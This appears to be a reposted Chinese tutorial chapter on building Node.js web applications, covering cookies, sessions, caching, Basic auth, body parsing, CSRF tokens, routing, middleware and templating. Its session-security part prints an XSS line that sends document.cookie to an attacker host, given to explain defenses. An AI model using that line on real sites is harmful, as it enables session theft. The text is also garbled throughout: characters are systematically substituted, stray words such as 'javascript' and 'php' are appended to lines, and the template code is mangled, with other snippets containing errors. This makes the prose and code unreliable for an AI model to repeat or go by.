8.构建Web应用
1)请求方法javascript
在WEB中,请求方法有GET、POST、HEAD、DELETE、PUT、CONNECT等,请求方法是请求报文头的第一行的第一个大写单词( GET /path?foo=bar HTTP/1.1)
HTTP_Parser在解析请求报文的时候,将报文头抽取出来,设置为req.method,经过请求方法来决定响应行为:php
function (req, res) { switch (req.method) { case 'POST': update(req, res); break; case 'DELETE': remove(req, res); break; case 'PUT': create(req, res); break; case 'GET': default: get(req, res); } }
RESTful风格表明了一种根据请求方法将复杂的业务逻辑分发的一种思路,经过这种思路能够化繁为简。css
2)路径解析
路径部分存在于报文头的第一行的第二部分(GET /path?foo=bar HTTP/1.1)
HTTP_Parser将其解析为req.url,通常而言完整的URL地址是这样的:html
http://user:pass@host.com:8080/p/a/t/h?query=string#hash
浏览器会将这个地址解析为报文,将路径和查询部分放在报文的第一行,hash部分是会被丢弃的,不会存在于报文的任何地方。前端
应用:java
/controller/action/a/b/c //这里controller会对应到一个控制器,action对应到控制器的行为,剩余的值会作为参数进行别的判断,、
3)查询字符串node
查询字符串位于路径以后,在地址栏中?后边的就是查询字符串(这个字符串会在?后,跟随路径,造成请求报文的第二部分)。node提供了querystring模块来处理这部分的数据。nginx
var url = require('url'); var querystring = require('querystring'); var query = querystring.parse(url.parse(req.url).query); //更简洁的方法是给url.parse()传递第二个参数,将参数解析为json对象 var query = url.parse(req.url, true).query;
查询字符串会被挂载在req.query上,若是查询字符串出现两个相同的字符,如: foo=bar&foo=baz,那么返回的json就会是一个数组。
{foo: ['bar', 'baz']}。web
注意:业务的判断必定要检查是数组仍是字符串,防止TypeError的异常产生。ajax
4)Cookie
http是一个无状态的协议,现实中的业务倒是须要有状态的,不然没法区分用户之间的身份。利用cookie记录浏览器与客户端之间的状态。
cookie的处理分为以下几步:
HTTP_Parser会将全部的报文字段解析到req.headers上,那么cookie就是req.headers.cookie了。根据规范,cookie的格式是key=value;key2=value2的形式
// 解析cookie var parseCookie = function (cookie) { var cookies = {}; if (!cookie) { return cookies; } var list = cookie.split(';'); for (var i = 0; i < list.length; i++) { var pair = list[i].split('='); cookies[pair[0].trim()] = pair[1]; } return cookies; }; // 为了方便使用,咱们将其挂载在req对象上 function (req, res) { req.cookies = parseCookie(req.headers.cookie); hande(req, res); }
告知客户端是经过响应报文实现的,响应的cookie值在set-cookie字段中,它的格式与请求中的格式不太相同,规范中对它的定义以下:
Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
name = value是必选字段,其余为可选字段。
可选字段 | 说明 |
---|---|
path | 表示这个cookie影响的路径,当前访问的路径不知足该匹配时,浏览器则不发送这个cookie |
Expires、Max-Age | 用来告知浏览器这个cookie什么时候过时的,若是不设置该选项,在关闭浏览器时,会丢失掉这个cookie,若是设置过时时间,浏览器将会把cookie内容写入到磁盘中,并保存,下次打开浏览器,该cookie依旧有效。expires是一个utc格式的时间字符串,告知浏览器此cookie什么时候将过时,max-age则告知浏览器,此cookie多久后将过时。expires会在浏览器时间设置和服务器时间设置不一致时,存在过时误差。所以,通常用max-age会相对准确。 |
HttpOnly | 告知浏览器不容许经过脚本document.cookie去更改这个cookie值,也就是document.cookie不可见,可是,在http请求的过程当中,依然会发送这个cookie到服务器端。 |
secure | 当secure = true时,建立的cookie只在https链接中,被浏览器传递到服务器端进行会话验证,若是http链接,则不会传递。所以,增长了被窃听的难度。 |
// 将Cookie序列化成符合规范的字符串 var serialize = function (name, val, opt) { var pairs = [name + '=' + encode(val)]; opt = opt || {}; if (opt.maxAge) pairs.push('Max-Age=' + opt.maxAge); if (opt.domain) pairs.push('Domain=' + opt.domain); if (opt.path) pairs.push('Path=' + opt.path); if (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString()); if (opt.httpOnly) pairs.push('HttpOnly'); if (opt.secure) pairs.push('Secure'); return pairs.join('; '); }; // 判断用户状态的代码 var handle = function (req, res) { if (!req.cookies.isVisit) { res.setHeader('Set-Cookie', serialize('isVisit', '1')); res.writeHead(200); res.end('欢迎第一次来 '); } else { res.writeHead(200); res.end('欢迎再次来 '); } }; // 能够设置多个cookie值,也就是为set-cookie赋值一个数组: res.setHeader('Set-Cookie', [serialize('foo', 'bar'), serialize('baz', 'val')]); // 若是是数组的话,将在报文中造成两条set-cookie字段: Set-Cookie: foo=bar; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com; Set-Cookie: baz=val; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
cookie的性能影响
当cookie过多时,会致使报文头较大,因为大多数cookie不须要每次都用上,所以,除非cookie过时,不然会形成带宽的浪费。
cookie优化的建议:
cookie的不安全性
cookie能够在浏览器端,经过调用document.cookie来请求cookie并修改,修改以后,后续的网络请求中就会携带上修改事后的值。
例如:第三方广告或者统计脚本,将cookie和当前页面绑定,这样能够标识用户,获得用户浏览行为。
5)Session
cookie存在各类问题,例如体积大、不安全,为了解决cookie的这些问题,session应运而生,session只保存在服务器端,客户端没法修改,所以,安全性和数据传递都被保护。
如何将每一个客户和服务器中的数据一一对应:
1.session与内存
在node下,对于内存的使用存在限制,session直接存在内存中,会使内存持续增大,限制性能。另外,多个node进程间可能不能直接共享内存,用户的session可能会错乱。为了解决问题,咱们一般使用Redis等来存储session数据。(node与redis缓存使用长链接,而非http这种短链接,握手致使的延迟只影响初始化一次,所以,使用redis方案,每每比使用内存还要高效。若是将redis缓存方在跟node实例相同的机器上,那么网络延迟的影响将更小)。
2.session与安全
经过上文咱们已经知道,session的口令保存在浏览器(基于cookie或者查询字符串的形式都是将口令保存于浏览器),所以,会存在session口令被盗用的状况。当web应用的用户十分多,自行设计的随机算法的口令值就有理论机会命中有效的口令值。一旦口令被伪造,服务器端的数据也可能间接被利用,这里提到的session的安全,就主要指如何让这一口令更加安全。
有一种方法是将这个口令经过私钥加密进行签名,使得伪造的成本较高。客户端尽管能够伪造口令值,可是因为不知道私钥值,签名信息很难伪造。如此,咱们只要在响应时将口令和签名进行对比,若是签名非法,咱们将服务器端的数据当即过时便可,
将口令进行签名是一个很好的解决方案,可是若是攻击者经过某种方式获取了一个真实的口令和签名,他就能实现身份的伪造了,一种方案是将客户端的某些独有信息与口令做为原值,而后签名,这样攻击者一旦不在原始的客户端上进行访问,就会致使签名失败。这些独有信息包括用户IP和用户代理(user agent)
3.xss漏洞
一般而言,将口令存储于cookie中不容易被他人获取,可是,一些别的漏洞可能致使这个口令被泄漏,典型的有xss漏洞,下面简单介绍一下如何经过xss拿到用户的口令,实现伪造。
xss全称是跨站脚本攻击(cross site scripting)。xss漏洞可让别的脚本进行执行,造成这个问题的主要缘由多数是用户的输入没有被转义,而被直接执行。
location.href = "http://c.com/?" + document.cookie;
这段代码将该用户的cookie提交给了c.com站点,这个站点就是攻击者的服务器,他也就能拿到该用户的session口令,而后他在客户端中用这个口令伪造cookie,从而实现了伪造用户的身份。若是该用户是网站管理员,就可能形成极大的危害。在这个案例中,若是口令中有用户的客户端信息的签名,即便口令被泄漏,除非攻击者与用户客户端彻底相同,不然不能实现伪造。
6)缓存
缓存的用处是节省没必要要的输出,也就是缓存咱们的静态资源(html、js、css),咱们看一下提升性能的几条YSlow原则:
使用缓存的流程以下:
简单来说,本地没有文件时,浏览器必然会请求服务器端的内容,并将这部份内容放置在本地的某个缓存目录中。在第二次请求时,它将对本地文件进行检查,若是不能肯定这份本地文件是否能够直接使用,它将会发起一次条件请求。所谓条件请求,就是在普通的get请求报文中,附带If-Modified-Since字段,以下所示:
If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT
它将询问服务器是否有更新的版本,本地文件的最后修改时间。若是服务器端没有新的版本,只需响应一个304状态码,客户端就使用本地版本。若是服务器端有新的版本,就将新的内容发送给客户端,客户端放弃本地版本,代码以下:
var handle = function (req, res) { fs.stat(filename, function (err, stat) { var lastModified = stat.mtime.toUTCString(); if (lastModified === req.headers['if-modified-since']) { res.writeHead(304, "Not Modified"); res.end(); } else { fs.readFile(filename, function (err, file) { var lastModified = stat.mtime.toUTCString(); res.setHeader("Last-Modified", lastModified); res.writeHead(200, "Ok"); res.end(file); }); } }); };
这里的条件请求采用时间戳的方式实现,可是时间戳有一些缺陷存在。
为此,http1.1中引入了ETag来解决这个问题,ETag的全称是Entity Tag,由服务器端生成,服务器端能够决定它的生成规则,若是根据文件内容生成散列值,那么条件请求将不会受到时间戳改动形成的带宽浪费。下面是根据内容生成散列值的方法:
var getHash = function (str) { var shasum = crypto.createHash('sha1'); return shasum.update(str).digest('base64'); };
这种方式与If-Modified-Since/Last-Modified不一样的是,ETag的请求和响应是If-None-Match/ETag的:
var handle = function (req, res) { fs.readFile(filename, function (err, file) { var hash = getHash(file); var noneMatch = req.headers['if-none-match']; if (hash === noneMatch) { res.writeHead(304, "Not Modified"); res.end(); } else { res.setHeader("ETag", hash); res.writeHead(200, "Ok"); res.end(file); } }); }
浏览器在收到ETag:‘83-1359871272000’这样的响应后,在下次的请求中,会将其放置在请求头中:If-None-Match:"83-1359871272000"
尽管条件请求能够在文件内容没有修改的状况下节省带宽,可是它依然会发起一个http请求,使得客户端依然会花必定时间来等待响应。可见最好的方案就是连条件请求都不用发起,那么咱们如何作呢?咱们可使用服务器端程序在响应内容时,让浏览器明确地将内容缓存起来。也就是在响应里设置Expires或Catche-Control头,浏览器根据该值进行缓存。
在http1.0时期,在服务器端设置expires能够告知浏览器要缓存文件的内容,expires是一个GMT格式的时间字符串,浏览器在接到这个过时值后,只要本地还存在这个缓存文件,在到期时间以前它都不会再发起请求。
可是expires存在时间偏差,也是就浏览器和服务器之间的时间不一样步,形成缓存提早过时或者缓存没有被清除的状况出现。所以,cache-control就做为一种解决方案出现了:
var handle = function (req, res) { fs.readFile(filename, function (err, file) { res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000); res.writeHead(200, "Ok"); res.end(file); }); };
cache-control经过设置max-age值,避免浏览器端和服务器端时间不一样步带来的不一致性问题,只要进行相似倒计时的方式计算过时时间便可。另外,cache-control还能够设置public、private、no-cache、no-store等可以精确控制缓存的选项。
因为http1.0不支持max-age,所以,须要对两种缓存都作支持,若是,浏览器支持max-age,那么,max-age会覆盖expires的值。
清除缓存
缓存能够帮助节省带宽,可是,若是服务器更新了内容,那么又没法通知浏览器更新,所以,咱们要为缓存添加版本号,也就是在url中添加版本号。作法以下:
大致来讲,根据文件内容的hash值进行缓存淘汰会更加高效,由于文件内容不必定随着web应用的版本而更新,而内容没有更新时,版本号的改动致使的更新毫无心义,所以,以文件内容造成的hash值更精准。
7)Basic认证
Basic认证是基于用户名和密码的一种身份认证方式,不是业务上的登陆操做,是一种基于浏览器的认证方法。若是一个页面须要basic认证,它会检查请求报文头中的Authorization字段的内容,该字段的认证方式和加密值构成:
$ curl -v "http://user:pass@www.baidu.com/" > GET / HTTP/1.1 > Authorization: Basic dXNlcjpwYXNz > User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 > Host: www.baidu.com > Accept: */*
在Basic认证中,它会将用户和密码部分组合:username:password,而后进行base64编码
var encode = function (username, password) { return new Buffer(username + ':' + password).toString('base64'); };
若是用户首次访问该网页,url中也没有认证内容,那么浏览器会响应一个401未受权状态码:
function (req, res) { var auth = req.headers['authorization'] || ''; var parts = auth.split(' '); var method = parts[0] || ''; // Basic var encoded = parts[1] || ''; // dXNlcjpwYXNz var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":"); var user = decoded[0]; // user var pass = decoded[1]; // pass if (!checkUser(user, pass)) { res.setHeader('WWW-Authenticate', 'Basic realm="Secure Area"'); res.writeHead(401); res.end(); } else { handle(req, res); } }
响应头中的WWW-Authenticate字段告知浏览器采用什么样的认证和加密方式,通常而言,未认证的青空下,浏览器会弹出对话框进行交互式提交认证信息。当认证经过,服务器端响应200状态码后,浏览器会保存用户名和密码口令,在后续的请求中都携带Authorization信息。
basic认证是以base64加密后的明文方式在网上传输的,安全性较低,所以,建议配合https使用,为了改进basic认证,在rfc 2069规范中,提出了摘要访问认证,加入了服务器端随机数来保护认证过程。
上一节的内容基本上都是操做http请求报文头的,进一步说,更多的都是适用于get请求和大多数其余请求的,头部报文中的内容已经可以让服务器端进行大多数业务逻辑操做了,可是单纯的头部报文没法携带大量的数据,在业务中,咱们每每须要接收一些数据,好比表单提交、文件提交、json上传、xml上传等。
node的http模块只对http报文的头部进行了解析,而后触发request事件。若是请求中还带有内容部分(如:post请求,它具备报头和内容),内容部分须要用户自行接收和解析。经过报头的Transfer-Encoding或Content-Length便可判断请求中是否带有内容:
var hasBody = function(req) { return 'transfer-encoding' in req.headers || 'content-length' in req.headers; };
在http_parser解析报头结束后,报文内容部分会经过data事件触发,咱们只需以流的方式处理便可:
function (req, res) { if (hasBody(req)) { var buffers = []; req.on('data', function (chunk) { buffers.push(chunk); }); req.on('end', function () { req.rawBody = Buffer.concat(buffers).toString(); handle(req, res); }); } else { handle(req, res); } }
接收到的buffer列表将会转化为一个buffer对象,在转码为没有乱码的字符串,暂时挂置在req.rawBody上。
1)表单数据
默认的表单提交,请求头中的content-type字段值为application/x-www-form-urlencoded:
报文体的内容跟查询字符串相同,例如:foo=bar&baz=val
//经过querystring解析 var handle = function (req, res) { if (req.headers['content-type'] === 'application/x-www-form-urlencoded') { req.body = querystring.parse(req.rawBody); } todo(req, res); };
2)其余格式
根据content-type来区分数据编解码的类型:content-type=application/json或者content-type=application/xml。
注意:content-type还能够附带编码信息,Content-Type: application/json; charset=utf-8,咱们经过下边的程序进行区分:
var mime = function (req) { var str = req.headers['content-type'] || ''; return str.split(';')[0]; };
1.JSON文件
解析并响应json
var handle = function (req, res) { if (mime(req) === 'application/json') { try { req.body = JSON.parse(req.rawBody); } catch (e) { // 异常内容,响应Bad request res.writeHead(400); res.end('Invalid JSON'); return; } } todo(req, res); };
2.XML文件
解析并响应xml,使用外部库xml2js,将XML文件转换为JSON对象
var xml2js = require('xml2js'); var handle = function (req, res) { if (mime(req) === 'application/xml') { xml2js.parseString(req.rawBody, function (err, xml) { if (err) { // 异常内容,响应Bad request res.writeHead(400); res.end('Invalid XML'); return; } req.body = xml; todo(req, res); }); } };
3)附件上传
默认表单数据为urlencoded编码格式,带文件类型(file类型)的表单,须要指定enctype = multipart/form-data:
<form action="/upload" method="post" enctype="multipart/form-data"> <label for="username">Username:</label> <input type="text" name="username" id="username" /> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form>
此时,浏览器构造的请求报文以下:
Content-Type: multipart/form-data; boundary=AaB03x Content-Length: 18231
其中,boundary=AaB03x指定的是每部份内容的分界符,AaB03x是随机生成的一段字符串,报文体的内容将经过在它前面添加--进行分割,报文结束时,在它的先后都加上--表示结束。content-length表示报文体的实际长度。
不一样类型数据的判断:
function (req, res) { if (hasBody(req)) { var done = function () { handle(req, res); }; if (mime(req) === 'application/json') { parseJSON(req, done); } else if (mime(req) === 'application/xml') { parseXML(req, done); } else if (mime(req) === 'multipart/form-data') { parseMultipart(req, done); } } else { handle(req, res); } }
formidable模块
它基于流式处理解析报文,将接收到的文件写入到系统的临时文件夹中,并返回对应的路径。
var formidable = require('formidable'); function (req, res) { if (hasBody(req)) { if (mime(req) === 'multipart/form-data') { var form = new formidable.IncomingForm(); form.parse(req, function (err, fields, files) { req.body = fields; req.files = files; handle(req, res); }); } } else { handle(req, res); } }
4)数据上传与安全
因为node是基于js书写的,所以,前端代码能够向node注入js文件,来动态执行,这看起来很是可怕。在此,咱们要来讲说安全的问题,主要涉及内存和CSRF。
1.内存限制
攻击者能够提交大量数据,而后吃光让服务器端的内存。所以,咱们须要解决此类问题:
经过流式解析,将数据流导向磁盘中,node只保留文件路径等小数据。(咱们基于connect中间件来进行上传数据量的限制,先判断content-length,而后,再每次读数据,判断数据大小)
var bytes = 1024; function (req, res) { var received = 0, var len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null; // 若是内容超过长度限制,返回请求实体过长的状态码 if (len && len > bytes) { res.writeHead(413); res.end(); return; } // limit req.on('data', function (chunk) { received += chunk.length; if (received > bytes) { // 中止接收数据,触发end() req.destroy(); } }); handle(req, res); };
2.CSRF
CSRF 的全称是Cross-Site Request Forgery,跨站请求伪造。前文说起了服务器端与客户端经过cookie来标识和认证用户,而后经过session来完成用户的认证。CSRF能够在不知道session_id的前提下,完成攻击行为。
解决CSRF提交数据,能够经过添加随机值的方式进行,也就是为每一个请求的用户,在session中赋予一个随机值:
var generateRandom = function (len) { return crypto.randomBytes(Math.ceil(len * 3 / 4)) .toString('base64') .slice(0, len); }; ------------------- var token = req.session._csrf || (req.session._csrf = generateRandom(24));
页面渲染过程当中,将这个_csrf值告知前端:
<form id="test" method="POST" action="http://domain_a.com/guestbook"> <input type="hidden" name="content" value="vim好" /> <input type="hidden" name="_csrf" value="< =_csrf >" /> % % </form>
因为该值是一个随机值,攻击者构造出相同的随机值难度至关大,因此,只须要在接收端作一次校验就能轻松防止csrf。
function (req, res) { var token = req.session._csrf || (req.session._csrf = generateRandom(24)); var _csrf = req.body._csrf; if (token !== _csrf) { res.writeHead(403); res.end("禁止访问"); } else { handle(req, res); } }
1)文件路径型
1.静态文件
URL的路径与网站目录的路径一致。
2.动态文件
web服务器根据URL路径找到对应的文件,如index.asp,index.php.Web服务器根据文件名后缀去寻找脚本的解析器,并传入HTTP请求的上下文。
在node中,因为先后端都是.js,所以,咱们不用这种判断后缀的方式进行脚本解析和执行。
2)MVC
MVC模型的主要思想是将业务逻辑按职责分离,主要分为如下几种:
分层模式以下:
工做模式以下:
1.手工映射
手工映射须要手工配置路由,它对url几乎没有限制。咱们来看下边的例子:
//1.路由 /user/setting /setting/user // 2.控制器 exports.setting = function (req, res) { // TODO }; // 3.映射方法 也就是use var routes = []; var use = function (path, action) { routes.push([path, action]); }; // 4.判断路由 // 咱们在入口程序中判断url,而后执行对应的逻辑,因而就完成了基本的路由映射过程: function (req, res) { var pathname = url.parse(req.url).pathname; for (var i = 0; i < routes.length; i++) { var route = routes[i]; if (pathname === route[0]) { var action = route[1]; action(req, res); return; } } // 处理404请求 handle404(req, res); } // 5.路由分配 use('/user/setting', exports.setting); use('/setting/user', exports.setting); use('/setting/user/jacksontian', exports.setting);
正则匹配
对于存在参数的路由,咱们使用正则匹配,这样的路由样式以下:
use('/profile/:username', function (req, res) { // TODO }); // 咱们写一个正则表达式的程序: var pathRegexp = function (path) { path = path .concat(strict ? '' : '/?') .replace(/\/\(/g, '(?:/') .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture, optional, star) { slash = slash || ''; return '' + (optional ? '' : slash) + '(?:' + (optional ? slash : '') + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')' + (optional || '') + (star ? '(/*)?' : ''); }) .replace(/([\/.])/g, '\\$1') .replace(/\*/g, '(.*)'); return new RegExp('^' + path + '$'); } // 这个程序的做用是完成以下匹配 /profile/:username => /profile/jacksontian, /profile/hoover /user.:ext => /user.xml, /user.json // 而后,咱们从新调整use部分的程序: var use = function (path, action) { routes.push([pathRegexp(path), action]); }; function (req, res) { var pathname = url.parse(req.url).pathname; for (var i = 0; i < routes.length; i++) { var route = routes[i]; // 正则匹配 if (route[0].exec(pathname)) { var action = route[1]; action(req, res); return; } } // 处理404请求 handle404(req, res); }
参数解析
咱们但愿在业务中能够这样处理数据:
use('/profile/:username', function (req, res) { var username = req.params.username; // TODO }); // 那么第一步设这样的: var pathRegexp = function (path) { var keys = []; path = path .concat(strict ? '' : '/?') .replace(/\/\(/g, '(?:/') .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture, optional, star) { // 将匹配到的键值保存起来 keys.push(key); slash = slash || ''; return '' + (optional ? '' : slash) + '(?:' + (optional ? slash : '') + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')' + (optional || '') + (star ? '(/*)?' : ''); }) .replace(/([\/.])/g, '\\$1') .replace(/\*/g, '(.*)'); return { keys: keys, regexp: new RegExp('^' + path + '$') }; } // 咱们将根据抽取的键值和实际的url获得键值匹配到的实际值,并设置req.params function (req, res) { var pathname = url.parse(req.url).pathname; for (var i = 0; i < routes.length; i++) { var route = routes[i]; // 正则匹配 var reg = route[0].regexp; var keys = route[0].keys; var matched = reg.exec(pathname); if (matched) { // 抽取具体值 var params = {}; for (var i = 0, l = keys.length; i < l; i++) { var value = matched[i + 1]; if (value) { params[keys[i]] = value; } } req.params = params; var action = route[1]; action(req, res); return; } } // 处理404请求 handle404(req, res); }
2.天然映射
由于路由太多会形成代码阅读和书写的难度增长,所以,有人提出乱用路由不如无路由,实际上,并不是没有路由,而是路由按一种约定的方式天然而然地实现了路由,而无需去维护路由映射。不过这种方式相对来讲比较死板,须要分状况去开发。
/controller/action/param1/param2/param3 function (req, res) { var pathname = url.parse(req.url).pathname; var paths = pathname.split('/'); var controller = paths[1] || 'index'; var action = paths[2] || 'index'; var args = paths.slice(3); var module; try { // require的缓存机制使得只有第一次是阻塞的 module = require('./controllers/' + controller); } catch (ex) { handle500(req, res); return; } var method = module[action] if (method) { method.apply(null, [req, res].concat(args)); } else { handle500(req, res); } }
3)RESTful
RESTful = Representational State Transfer,也就是表现层状态转化,符合REST规范的设计,咱们称之为RESTful设计,它的设计哲学主要将服务器端提供的内容实体看作一个资源,并表如今url上。例如地址以下:
/users/jacksontian
这个地址表明了一个资源,对这个资源的操做,主要体如今http请求方法上,不是体如今url上,过去咱们对用户的增删改查或许是这样设计的:
POST /user/add?username=jacksontian GET /user/remove?username=jacksontian POST /user/update?username=jacksontian GET /user/get?username=jacksontian
RESTful的设计则是这样的:
POST /user/jacksontian DELETE /user/jacksontian PUT /user/jacksontian GET /user/jacksontian
对于资源类型,过去是这样来处理的:
GET /user/jacksontian.json GET /user/jacksontian.xml
在RESTful中则是这样来处理,根据请求报文头中的Accept和服务器端的支持来决定:
Accept: application/json,application/xml
为了支持RESTful这种方式,应该处理Accept,并在响应报文中,经过Content-type字段告知客户端是什么格式:
Content-Type: application/json
具体格式,咱们称之为具体的表现,因此REST的设计就是,经过URL设计资源、请求方法定义资源的操做,经过Accept决定资源的表现形式。RESTful与mvc相辅相成,RESTful将http请求方法也加入了路由的过程,以及在url路径上体现得更资源化。
请求方法
咱们修改一下以前写的use方法,来支持RESTful
var routes = { 'all': [] }; var app = {}; app.use = function (path, action) { routes.all.push([pathRegexp(path), action]); }; ['get', 'put', 'delete', 'post'].forEach(function (method) { routes[method] = []; app[method] = function (path, action) { routes[method].push([pathRegexp(path), action]); }; }) //增长用户 app.post('/user/:username', addUser); // 删除用户 app.delete('/user/:username', removeUser); // 修改用户 app.put('/user/:username', updateUser); // 查询用户 app.get('/user/:username', getUser);
而后,咱们修改一下匹配的部分:
var match = function (pathname, routes) { for (var i = 0; i < routes.length; i++) { var route = routes[i]; // 正则匹配 var reg = route[0].regexp; var keys = route[0].keys; var matched = reg.exec(pathname); if (matched) { //抽取具体值 var params = {}; for (var i = 0, l = keys.length; i < l; i++) { var value = matched[i + 1]; if (value) { params[keys[i]] = value; } } req.params = params; var action = route[1]; action(req, res); return true; } } return false; };
而后,再来修改一下分发部分:
function (req, res) { var pathname = url.parse(req.url).pathname; // 将请求方法变为小写 var method = req.method.toLowerCase(); if (routes.hasOwnPerperty(method)) { // 根据请求方法分发 if (match(pathname, routes[method])) { return; } else { // 若是路径没有匹配成功,尝试让all()来处理 if (match(pathname, routes.all)) { return; } } } else { // 直接让all()来处理 if (match(pathname, routes.all)) { return; } } // 处理404请求 handle404(req, res); }
RESTful模式以其轻量的设计,能够更好的适应业务逻辑前端化和客户端多样化的需求,经过RESTful服务能够适应移动端、PC端和各类客户端的请求与响应。
中间件来简化和隔离这些基础设施和业务逻辑之间的细节,让开发者可以关注在业务的开发上,以达到提高开发效率的目的。
基于web的服务,咱们的中间件的上下文就是请求对象和响应对象。
// querystring解析中间件 var querystring = function (req, res, next) { req.query = url.parse(req.url, true).query; next(); }; // cookie解析中间件 var cookie = function (req, res, next) { var cookie = req.headers.cookie; var cookies = {}; if (cookie) { var list = cookie.split(';'); for (var i = 0; i < list.length; i++) { var pair = list[i].split('='); cookies[pair[0].trim()] = pair[1]; } } req.cookies = cookies; next(); }; var middleware = function (req, res, next) { // TODO next(); }
app.use = function (path) {
var handle = { // 第一个参数做为路径 path: pathRegexp(path), // 其余的都是处理单元 stack: Array.prototype.slice.call(arguments, 1) }; routes.all.push(handle);
};
1)异常处理
为next()方法添加err参数,并捕获中间件直接抛出的同步异常。
var handle = function (req, res, stack) { var next = function (err) { if (err) { return handle500(err, req, res, stack); } // 从stack数组中取出中间件并执行 var middleware = stack.shift(); if (middleware) { // 传入next()函数自身,使中间件可以执行结束后递归 try { middleware(req, res, next); } catch (ex) { next(err); } } }; // 启动执行 next(); }; //因为异步方法的异常不能直接捕获,中间件异步产生的异常须要本身传递出来。 var session = function (req, res, next) { var id = req.cookies.sessionid; store.get(id, function (err, session) { if (err) { // 将异常经过next()传递 return next(err); } req.session = session; next(); }); }; //增长错误处理中间件: var handle500 = function (err, req, res, stack) { // 选取异常处理中间件 stack = stack.filter(function (middleware) { return middleware.length === 4; }); var next = function () { // 从stack数组中取出中间件并执行 var middleware = stack.shift(); if (middleware) { // 传递异常对象 middleware(err, req, res, next); } }; // 启动执行 next(); };
2)中间件与性能
编写高效的中间件
合理使用路由
例如静态文件路由,咱们应该将静态文件都放到一个文件夹下,由于它中间涉及到了磁盘I/O,若是静态文件匹配了效率还行,若是没有匹配,则浪费资源,咱们能够将静态文件到在public下:
app.use('/public', staticFile);
这样,只有访问public才会命中静态文件。
更好的作法是使用nginx等专门的web容器来为静态文件作代理,让node专心作api服务器。
1)内容响应
内容响应的过程当中,咱们会用到响应报文头的Content-x字段。咱们以一个gzip编码的文件做为例子讲解,咱们将告知客户端内容是以gzip编码的,其内容长度为21170个字节,内容类型为javascript,字符集utf-8
Content-Encoding: gzip Content-Length: 21170 Content-Type: text/javascript; charset=utf-8
客户端在接收到这个报文后,正确的处理过程是经过gzip来解释报文体中的内容,用长度校验报文体内容是否正确,而后再以字符集utf-8将解码后的脚本插入到文档节点中。
1.MIME
MIME = Multipurpose Internet Mail Extensions,最先应用于电子邮件,后来扩展到了浏览器领域。不一样的文件类型具有不一样的MIME值,如application/json、application/xml、application/pdf。为了方便获知文件的MIME值,咱们可使用mime模块来判断文件类型:
var mime = require('mime'); mime.lookup('/path/to/file.txt'); // => 'text/plain' mime.lookup('file.txt'); // => 'text/plain' mime.lookup('.TXT'); // => 'text/plain' mime.lookup('htm'); // => 'text/html'
除了MIME值以外,content-type还会包含其余一些参数,例如字符集:
Content-Type: text/javascript; charset=utf-8
2.附件下载
content-disposition字段影响的行为是客户端会根据它的值判断是应该将报文数据当作即时浏览的内容,仍是可下载的附件。当内容只需即时查看时,它的值为inline,当数据能够存为附件时,它的值为attachment,另外,content-disposition字段,还能经过参数指定保存时应该使用的文件名:
Content-Disposition: attachment; filename="filename.ext"
3.响应json
为了快捷响应JSON数据,封装以下:
res.json = function (json) { res.setHeader('Content-Type', 'application/json'); res.writeHead(200); res.end(JSON.stringify(json)); };
4.响应跳转
实现跳转以下:
res.redirect = function (url) { res.setHeader('Location', url); res.writeHead(302); res.end('Redirect to ' + url); };
2)视图渲染
虽然web能够响应各类类型的文件(咱们上文就说过了文本类型、html、附件、跳转等)。可是,最主流的仍是html,对于响应的内容是html类型的,咱们称之为视图渲染,这个渲染过程经过模板和数据共同完成。渲染模板,咱们给一个方法叫作render,咱们看看本身实现render的例子:
res.render = function (view, data) { res.setHeader('Content-Type', 'text/html'); res.writeHead(200); // 实际渲染 var html = render(view, data); res.end(html); };
经过render方法,咱们将模板和数据进行合并并解析,而后返回客户端html做为响应内容。
3)模板
模板技术有四个关键的要素:
对于asp、php、jsp,模板属于服务器动态页面的内置功能,模板语言就是他们的宿主语言(VBScript、JScript、PHP、Java),模板文件就是以.php、.asp、.jsp为后缀的文件,模板引擎就是web容器。
模板技术作的只是拼接字符串这样的很底层的活,把数据和模板字符串拼接好,并转换为html,响应给客户端而已。
1.模板引擎
模板引擎将<%= username>转换为“Hello ”+obj.username的过程分为如下几个步骤:
与数据一块儿执行,生成最终字符串
var render = function (str, data) {
var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { return "' + obj." + code + "+ '"; }); tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; var complied = new Function('obj', tpl); return complied(data);
};
//---------------------------
var tpl = 'Hello < =username >.'; % %
console.log(render(tpl, {username: 'Jackson Tian'}));
// => Hello Jackson Tian.
模板编译
经过模板编译,生成的中间件函数,只与模板字符串相关,与具体的数据无关,若是每次都生成这个中间件函数,会浪费cpu,为了提高渲染模板的性能,咱们一般采用模板预编译的方式,咱们将上述的代码进行拆分:
var complie = function (str) { var tpl = str.replace(/< =([ % \s\S]+?) >/g, function(match, code) { return "' + obj." + code + "+ '"; }); tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; return new Function('obj, escape', tpl); }; var render = function (complied, data) { return complied(data); };
经过预编译缓存模板编译后的结果,实际应用中就能够实现一次编译,屡次执行,而原始的方式每次执行过程当中都要进行一次编译和执行。
2.with的应用
var complie = function (str, data) { var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { return "' + " + code + "+ '"; }); tpl = "tpl = '" + tpl + "'"; tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;'; return new Function('obj', tpl); };
模板安全
